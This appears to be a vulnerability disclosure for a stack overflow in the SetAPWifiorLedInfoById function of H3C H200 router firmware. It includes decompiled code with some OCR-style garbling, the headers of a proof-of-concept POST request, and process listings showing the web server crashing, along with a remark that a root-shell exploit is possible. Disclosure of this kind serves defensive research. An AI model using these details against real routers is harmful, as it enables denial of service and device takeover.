

H3C H200[H200-EI] (H200V100R004) has a stack overflow vulnerability

Overview

- Manufacturer's website information: https://www.h3c.com/
- Firmware download address: https://www.h3c.com/cn/d_202009/1345678_30005_0.htm

Product Information

H3C H200[H200-EI] H200V100R004, the latest version of simulation overview:



Vulnerability details

The H3C H200[H200-EI] (H200V100R004) was found to have a stack overflow vulnerability in the SetAPWifiorLedInfoByld function. An attacker can obtain a stable root shell through a carefully constructed payload.

```
int v11; // [sp+3Ch] [+3Ch]
     char v12[64]; // [sp+40h] [+40h] BYREF
     int v13; // [sp+80h] [+80h] BYREF
     char v14[64]; // [sp+84h] [+84h] BYREF
 15
      int v15; // [sp+C4h] [+C4h] BYREF
      int v16; // [sp+C8h] [+C8h] BYREF
 17
 18
9 19
      \vee 11 = 0;
      memset(v12, 0, sizeof(v12));
20
      memset(v14, 0, sizeof(v14));
21
      v15 = 0;
22
23
     v16 = 0;
24
     \sqrt{8} = sub_4932BC(a1,
                          "param", &dword_4E3DA0);
         (!v8)
25
26
        return -2;
     sscanf(\v8, "%[^;]", v12);
27
```

In the SetAPWifiorLedInfoById function, V8 (the value param) we entered is formatted using the sscanf function and in the form of %[^;]. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of V12, it will cause a stack overflow.

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Boot the firmware by qemu-system or other ways (real machine)

2. Attack with the following POC attacks

POST /goform/aspForm HTTP/1.1

Host: 192.168.0.124:80

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101

Firefox/102.0

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.

Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2

Accept-Encoding: gzip, deflate

Referer: https://121.226.152.63:8443/router_password_mobile.asp

Content-Type: application/x-www-form-urlencoded

Content-Length: 553

Origin: https://192.168.0.124:80

DNT: 1

Connection: close

Cookie: JSESSIONID=5c31d502 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin

Sec-Fetch-User: ?1

```
925 *root 816 $ /bin/ntpclient & 958 *root 740 $ /bin/timerange & 959 *root 2396 $ /bin/onlineupdate & 960 *root 2020 $ /bin/maincontrol & 966 *root 1144 $ /bin/monitor & 967 *root 592 $ /bin/watchdog & 987 *root 840 $ dnsmasq -r /etc/resolv.conf -n -c 500 989 *root 964 $ /bin/dhcpd -d -q eth0 1020 *root 320 $ /bin/igmpproxy WAN1 eth0 -D 1051 *root 872 $ upnpd /var/run/upnp_385875968 eth0 WAN1 1225 *root 600 $ telnetd 1405 *root 3640 $ /bin/webs & 1431 *root 1048 $ -mwcli 1432 *root 804 $ /bin/sh 728 R ps
```


The picture above shows the process information before we send poc.

```
960 *root 2020 S /bin/maincontrol & 966 *root 1144 S /bin/monitor & 967 *root 592 S /bin/watchdog & 987 *root 840 S dnsmasq -r /etc/resolv.conf -n -c 500 989 *root 964 S /bin/dhcpd -d -q eth0 1020 *root 320 S /bin/igmpproxy WAN1 eth0 -D 1051 *root 872 S upnpd /var/run/upnp_385875968 eth0 WAN1 1225 *root 600 S telnetd 1431 *root 1048 S -mwcli 1432 *root 804 S /bin/sh 1434 *root 2216 S /bin/webs & 1457 *root 726 R ps
```

In the picture above, we can see that the PID has changed since we sent the POC.



The picture above is the log information.



By calculating offsets, we can compile special data to refer to denial-of-service attacks(DOS).

Finally, you also can write exp to get a stable root shell.